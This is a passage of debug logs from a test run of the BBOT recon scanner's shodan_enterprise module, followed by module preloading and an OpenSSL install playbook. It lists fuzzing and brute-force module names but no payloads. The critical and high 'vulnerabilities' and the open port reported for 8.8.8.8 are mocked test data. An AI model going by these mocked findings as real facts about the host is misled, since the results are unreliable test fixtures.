base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) from shodan_enterprise -2026-03-02 09:05:20,435 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check -2026-03-02 09:05:20,436 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) from shodan_enterprise -2026-03-02 09:05:20,436 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check -2026-03-02 09:05:20,436 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) from shodan_enterprise -2026-03-02 09:05:20,437 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check -2026-03-02 09:05:20,437 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) from shodan_enterprise -2026-03-02 09:05:20,437 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check -2026-03-02 09:05:20,438 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-crypto'}) from shodan_enterprise -2026-03-02 09:05:20,438 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-crypto'}) passed post-check -2026-03-02 09:05:20,438 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'web-servers', 'in-scope'}) from shodan_enterprise -2026-03-02 09:05:20,439 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'web-servers', 'in-scope'}) passed post-check -2026-03-02 09:05:20,439 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) from shodan_enterprise -2026-03-02 09:05:20,439 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) passed post-check -2026-03-02 09:05:20,439 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'in-scope', 'dns'}) from shodan_enterprise -2026-03-02 09:05:20,440 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check -2026-03-02 09:05:20,440 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) from shodan_enterprise -2026-03-02 09:05:20,440 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check -2026-03-02 09:05:20,440 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) from shodan_enterprise -2026-03-02 09:05:20,441 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check -2026-03-02 09:05:20,441 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'cloud', 'verified', 'public-dns'}) from shodan_enterprise -2026-03-02 09:05:20,441 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'cloud', 'verified', 'public-dns'}) passed post-check -2026-03-02 09:05:20,441 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-03-02 09:05:20,442 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-03-02 09:05:20,442 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-03-02 09:05:20,442 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-03-02 09:05:20,442 [VERBOSE] bbot.scanner logger.py:151 Completed finish() -2026-03-02 09:05:20,443 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-03-02 09:05:20,443 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-03-02 09:05:20,443 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-03-02 09:05:20,543 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-03-02 09:05:20,543 [VERBOSE] bbot.scanner logger.py:151 Completed final finish() -2026-03-02 09:05:20,552 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-03-02 09:05:20,553 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-03-02 09:05:20,553 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-03-02 09:05:20,557 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-03-02 09:05:20,557 [VERBOSE] bbot.core.dnshelper logger.py:151 EngineClient DNSHelper: shutting down... -2026-03-02 09:05:20,558 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-03-02 09:05:20,558 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine got shutdown signal -2026-03-02 09:05:20,559 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: shutting down... -2026-03-02 09:05:20,559 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: finished shutting down -2026-03-02 09:05:20,626 [HUGESUCCESS] bbot.scanner logger.py:151 Scan testshodan_enterprise_test_ex9dqipr03 completed in 0 seconds with status FINISHED -2026-03-02 09:05:20,627 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-03-02 09:05:20,627 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-03-02 09:05:20,629 [CRITICAL] bbot test_module_shodan_enterprise.py:66 Found 1 ASN events -2026-03-02 09:05:20,629 [CRITICAL] bbot test_module_shodan_enterprise.py:77 TCP ports: ['8.8.8.8:51'], UDP ports: ['8.8.8.8:51'] -2026-03-02 09:05:59,634 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/output -2026-03-02 09:05:59,642 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-03-02 09:05:59,642 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-03-02 09:05:59,643 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-03-02 09:05:59,643 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-03-02 09:05:59,644 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-03-02 09:05:59,644 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-03-02 09:05:59,645 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-03-02 09:05:59,645 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-03-02 09:05:59,646 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-03-02 09:05:59,646 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-03-02 09:05:59,647 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-03-02 09:05:59,647 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-03-02 09:05:59,648 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-03-02 09:05:59,648 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-03-02 09:05:59,648 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-03-02 09:05:59,649 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-03-02 09:05:59,649 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-03-02 09:05:59,650 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-03-02 09:05:59,650 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-03-02 09:05:59,651 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-03-02 09:05:59,652 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-03-02 09:05:59,652 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/templates -2026-03-02 09:05:59,653 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/report -2026-03-02 09:05:59,653 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-03-02 09:05:59,653 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-03-02 09:05:59,654 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/internal -2026-03-02 09:05:59,654 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-03-02 09:05:59,654 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-03-02 09:05:59,655 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-03-02 09:05:59,655 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-03-02 09:05:59,656 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-03-02 09:05:59,656 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-03-02 09:05:59,656 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/deadly -2026-03-02 09:05:59,657 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-03-02 09:05:59,657 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules -2026-03-02 09:05:59,658 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-03-02 09:05:59,658 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-03-02 09:05:59,659 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-03-02 09:05:59,660 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-03-02 09:05:59,660 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-03-02 09:05:59,661 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-03-02 09:05:59,662 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-03-02 09:05:59,665 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-03-02 09:05:59,665 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-03-02 09:05:59,666 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-03-02 09:05:59,667 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-03-02 09:05:59,668 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-03-02 09:05:59,668 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-03-02 09:05:59,669 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-03-02 09:05:59,670 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-03-02 09:05:59,670 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-03-02 09:05:59,670 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz -2026-03-02 09:05:59,671 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-03-02 09:05:59,672 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules -2026-03-02 09:05:59,672 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-03-02 09:05:59,673 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-03-02 09:05:59,673 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-03-02 09:05:59,674 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-03-02 09:05:59,674 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-03-02 09:05:59,674 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-03-02 09:05:59,675 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-03-02 09:05:59,675 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-03-02 09:05:59,676 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-03-02 09:05:59,676 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-03-02 09:05:59,676 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-03-02 09:05:59,679 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-03-02 09:05:59,679 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-03-02 09:05:59,680 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-03-02 09:05:59,680 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-03-02 09:05:59,680 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-03-02 09:05:59,681 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-03-02 09:05:59,681 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-03-02 09:05:59,682 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-03-02 09:05:59,682 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-03-02 09:05:59,682 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-03-02 09:05:59,683 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-03-02 09:05:59,683 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-03-02 09:05:59,684 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-03-02 09:05:59,684 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-03-02 09:05:59,684 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-03-02 09:05:59,685 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-03-02 09:05:59,685 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-03-02 09:05:59,686 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-03-02 09:05:59,686 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-03-02 09:05:59,686 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-03-02 09:05:59,687 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-03-02 09:05:59,687 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-03-02 09:05:59,688 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-03-02 09:05:59,688 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-03-02 09:05:59,688 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-03-02 09:05:59,689 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-03-02 09:05:59,692 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-03-02 09:05:59,693 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-03-02 09:05:59,694 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-03-02 09:05:59,694 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-03-02 09:05:59,695 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-03-02 09:05:59,695 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-03-02 09:05:59,696 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-03-02 09:05:59,696 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-03-02 09:05:59,696 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-03-02 09:05:59,697 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-03-02 09:05:59,698 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-03-02 09:05:59,698 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-03-02 09:05:59,699 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-03-02 09:05:59,699 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-03-02 09:05:59,699 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-03-02 09:05:59,700 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-03-02 09:05:59,700 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-03-02 09:05:59,700 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-03-02 09:05:59,701 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-03-02 09:05:59,701 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-03-02 09:05:59,702 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-03-02 09:05:59,702 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-03-02 09:05:59,702 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-03-02 09:05:59,703 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-03-02 09:05:59,704 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-03-02 09:05:59,704 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-03-02 09:05:59,704 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-03-02 09:05:59,705 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-03-02 09:05:59,706 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-03-02 09:05:59,706 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-03-02 09:05:59,707 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-03-02 09:05:59,707 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-03-02 09:05:59,707 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-03-02 09:05:59,708 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-03-02 09:05:59,708 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-03-02 09:05:59,709 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-03-02 09:05:59,709 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-03-02 09:05:59,709 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-03-02 09:05:59,710 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-03-02 09:05:59,710 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-03-02 09:05:59,711 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-03-02 09:05:59,711 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-03-02 09:05:59,711 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-03-02 09:05:59,712 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-03-02 09:05:59,712 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-03-02 09:05:59,713 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-03-02 09:05:59,713 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-03-02 09:05:59,713 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-03-02 09:05:59,714 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-03-02 09:05:59,714 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-03-02 09:05:59,715 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-03-02 09:05:59,715 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-03-02 09:05:59,715 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-03-02 09:05:59,716 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-03-02 09:05:59,716 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-03-02 09:05:59,717 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-03-02 09:05:59,717 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-03-02 09:05:59,718 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-03-02 09:05:59,718 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-03-02 09:05:59,718 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-03-02 09:05:59,719 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-03-02 09:05:59,719 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-03-02 09:05:59,720 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-03-02 09:05:59,720 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-03-02 09:05:59,720 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-03-02 09:05:59,721 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-03-02 09:05:59,721 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-03-02 09:05:59,722 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-03-02 09:05:59,722 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-03-02 09:05:59,722 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-03-02 09:05:59,723 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-03-02 09:05:59,723 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-03-02 09:05:59,723 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-03-02 09:05:59,724 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-03-02 09:05:59,724 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-03-02 09:05:59,725 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-03-02 09:05:59,725 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-03-02 09:05:59,725 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-03-02 09:06:00,553 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-03-02 09:06:00,554 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-03-02 09:06:00,554 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-03-02 09:06:00,654 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-03-02 09:06:01,051 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-03-02 09:06:01,052 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-03-02 09:06:01,052 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-03-02 09:06:01,052 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-03-02 09:06:01,184 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-03-02 09:06:01,185 [DEBUG] bbot base.py:103 Mocking DNS -2026-03-02 09:06:01,293 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-03-02 09:06:01,295 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-03-02 09:06:01,320 [HUGEINFO] bbot.scanner logger.py:151 Scan seeded with 1 targets (1 in whitelist) -2026-03-02 09:06:01,322 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-03-02 09:06:01,322 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/ansible-galaxy collection install community.general -2026-03-02 09:06:01,744 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-03-02 09:06:01,745 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-03-02 09:06:06,116 [SUCCESS] bbot.core.helpers.depsinstaller logger.py:151 Authentication successful -2026-03-02 09:06:06,138 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-03-02 09:06:06,157 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-03-02 